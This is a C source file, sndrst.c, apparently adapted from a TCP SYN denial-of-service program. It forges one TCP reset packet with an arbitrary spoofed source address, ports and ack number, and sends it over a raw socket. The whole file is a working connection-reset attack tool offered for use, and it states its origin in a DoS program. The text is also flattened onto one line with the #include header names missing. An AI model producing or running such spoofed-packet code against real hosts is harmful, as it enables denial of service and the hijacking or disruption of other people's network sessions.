/* * open solaris compile: cc -o sndrst sndrst.c -lsocket -lnsl * * notice from tcpsyndos.c follows * culled & modified again by Graeme Sheppard www.rillion.net * */ /* Simple TCP SYN Denial Of Service */ /* Author: Luis Martin Garcia. luis.martingarcia [.at.] gmail [d0t] com */ /* To compile: gcc tcpsyndos.c -o tcpsyndos -lpcap */ /* Run as root! */ /* */ /* This code is distributed under the GPL License. For more info check: */ /* http://www.gnu.org/copyleft/gpl.html */ #define __USE_BSD /* Using BSD IP header */ #include #include #include /* Internet Protocol */ #define __FAVOR_BSD /* Using BSD TCP header */ #include /* Transmission Control Protocol */ #include #include #include #include #include #include #define TCPSYN_LEN 20 #define MAXBYTES2CAPTURE 2048 /* Pseudoheader (Used to compute TCP checksum. Check RFC 793) */ typedef struct pseudoheader { uint32_t src; uint32_t dst; u_char zero; u_char protocol; uint16_t tcplen; } tcp_phdr_t; typedef uint16_t u_int16; typedef uint32_t u_int32; const char* program_name = NULL; void quit (const char* text) { fprintf (stderr, "%s: %s\n", program_name, text); exit (1); } /* This piece of code has been used many times in a lot of differents tools. */ /* I haven't been able to determine the author of the code but it looks like */ /* this is a public domain implementation of the checksum algorithm */ unsigned short in_cksum (unsigned short *addr,int len) { u_short answer = 0; register u_short *w = addr; register int sum = 0; register int nleft = len; /* * Our algorithm is simple, using a 32-bit accumulator (sum), * we add sequential 16-bit words to it, and at the end, fold back * all the carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum &0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return answer; } /* TCP_RST_send(): Crafts a TCP packet with the RST flag set using the supplied */ /* values and sends the packet through a raw socket. */ int TCP_RST_send (u_int32 ack, u_int32 src_ip, u_int32 dst_ip, u_int16 src_prt, u_int16 dst_prt) { int one = 1; /* R.Stevens says we need this variable for the setsockopt call */ /* Raw socket file descriptor */ int rawsocket=0; /* Buffer for the TCP/IP SYN Packets */ char packet [sizeof(struct tcphdr) + sizeof(struct ip) + 1]; /* It will point to start of the packet buffer */ struct ip *ipheader = (struct ip *) packet; /* It will point to the end of the IP header in packet buffer */ struct tcphdr *tcpheader = (struct tcphdr *) (packet + sizeof(struct ip)); /* TPC Pseudoheader (used in checksum) */ tcp_phdr_t pseudohdr; /* TCP Pseudoheader + TCP actual header used for computing the checksum */ char tcpcsumblock [sizeof(tcp_phdr_t) + TCPSYN_LEN]; /* Although we are creating our own IP packet with the destination address */ /* on it, the sendto() system call requires the sockaddr_in structure */ struct sockaddr_in dstaddr; memset (&pseudohdr,0, sizeof (tcp_phdr_t)); memset (&packet, 0, sizeof (packet)); memset (&dstaddr, 0, sizeof (dstaddr)); dstaddr.sin_family = AF_INET; /* Address family: Internet protocols */ dstaddr.sin_port = dst_prt; /* Leave it empty */ dstaddr.sin_addr.s_addr = dst_ip; /* Destination IP */ /* Get a raw socket to send TCP packets */ if ((rawsocket = socket (AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) quit ("could not create socket"); /* We need to tell the kernel that we'll be adding our own IP header */ /* Otherwise the kernel will create its own. The ugly "one" variable */ /* is a bit obscure but R.Stevens says we have to do it this way ;-) */ if (setsockopt (rawsocket, IPPROTO_IP, IP_HDRINCL, &one, sizeof (one)) < 0) quit ("could do socket options"); /* IP Header */ ipheader->ip_hl = 5; /* Header lenght in octects */ ipheader->ip_v = 4; /* Ip protocol version (IPv4) */ ipheader->ip_tos = 0; /* Type of Service (Usually zero) */ ipheader->ip_len = htons (sizeof (struct ip) + sizeof (struct tcphdr)); ipheader->ip_off = 0; /* Fragment offset. We'll not use this */ ipheader->ip_ttl = 64; /* Time to live: 64 in Linux, 128 in Windows... */ ipheader->ip_p = 6; /* Transport layer prot. TCP=6, UDP=17, ICMP=1... */ ipheader->ip_sum = 0; /* Checksum. It has to be zero for the moment */ ipheader->ip_id = htons (1337); ipheader->ip_src.s_addr = src_ip; /* Source IP address */ ipheader->ip_dst.s_addr = dst_ip; /* Destination IP address */ /* TCP Header */ tcpheader->th_seq = ntohl (0); /* sequence number */ tcpheader->th_ack = ack; /* acknowledge number */ tcpheader->th_x2 = 0; /* Variable in 4 byte blocks. (Deprecated) */ tcpheader->th_off = 5; /* Segment offset (Lenght of the header) */ tcpheader->th_flags = TH_RST | TH_ACK; /* tcp flags reset and acknowledge */ tcpheader->th_win = htons (4500) + rand() % 1000; /* Window size */ tcpheader->th_urp = 0; /* Urgent pointer. */ tcpheader->th_sport = src_prt; /* Source Port */ tcpheader->th_dport = dst_prt; /* Destination Port */ tcpheader->th_sum = 0; /* Checksum. (Zero until computed) */ /* Fill the pseudoheader so we can compute the TCP checksum*/ pseudohdr.src = ipheader->ip_src.s_addr; pseudohdr.dst = ipheader->ip_dst.s_addr; pseudohdr.zero = 0; pseudohdr.protocol = ipheader->ip_p; pseudohdr.tcplen = htons (sizeof (struct tcphdr)); /* Copy header and pseudoheader to a buffer to compute the checksum */ memcpy (tcpcsumblock, &pseudohdr, sizeof (tcp_phdr_t)); memcpy (tcpcsumblock + sizeof (tcp_phdr_t), tcpheader, sizeof (struct tcphdr)); /* Compute the TCP checksum as the standard says (RFC 793) */ tcpheader->th_sum = in_cksum ((unsigned short *) (tcpcsumblock), sizeof (tcpcsumblock)); /* Compute the IP checksum as the standard says (RFC 791) */ ipheader->ip_sum = in_cksum ((unsigned short *) ipheader, sizeof (struct ip)); /* Send it through the raw socket */ if (sendto (rawsocket, packet, ntohs (ipheader->ip_len), 0, (struct sockaddr *) &dstaddr, sizeof (dstaddr)) < 0) return -1; close (rawsocket); return 0; } void usage() { fprintf (stdout, "A program to send a single ipv4 rst packet.\n"); fprintf (stdout, "usage: %s source_ip source_port dest_ip dest_port ack_number\n", program_name); fprintf (stdout, "eg: %s 192.168.1.10 22 192.168.1.15 40123 1000222000\n", program_name); exit (0); } u_int32 find_ip (const char* text) { struct in_addr ia; if (inet_pton (AF_INET, text, &ia) == 0) quit ("bad ip address"); return ia.s_addr; } u_int16 find_pt (const char* text) { int i = atoi (text); if (i < 0 || i > 65535) quit ("number out of range"); return i; } int main(int argc, char* argv[]) { u_int32 sip, dip, ack; u_int16 spt, dpt; program_name = argv [0]; if (argc <= 1) usage(); if (argc == 2 && argv [1][0] == '-') usage(); if (argc != 6) quit ("need 5 arguments"); sip = find_ip (argv [1]); spt = find_pt (argv [2]); dip = find_ip (argv [3]); dpt = find_pt (argv [4]); ack = atoi (argv [5]); /* sign? */ TCP_RST_send (ntohl (ack), sip, dip, htons (spt), htons (dpt)); return 0; }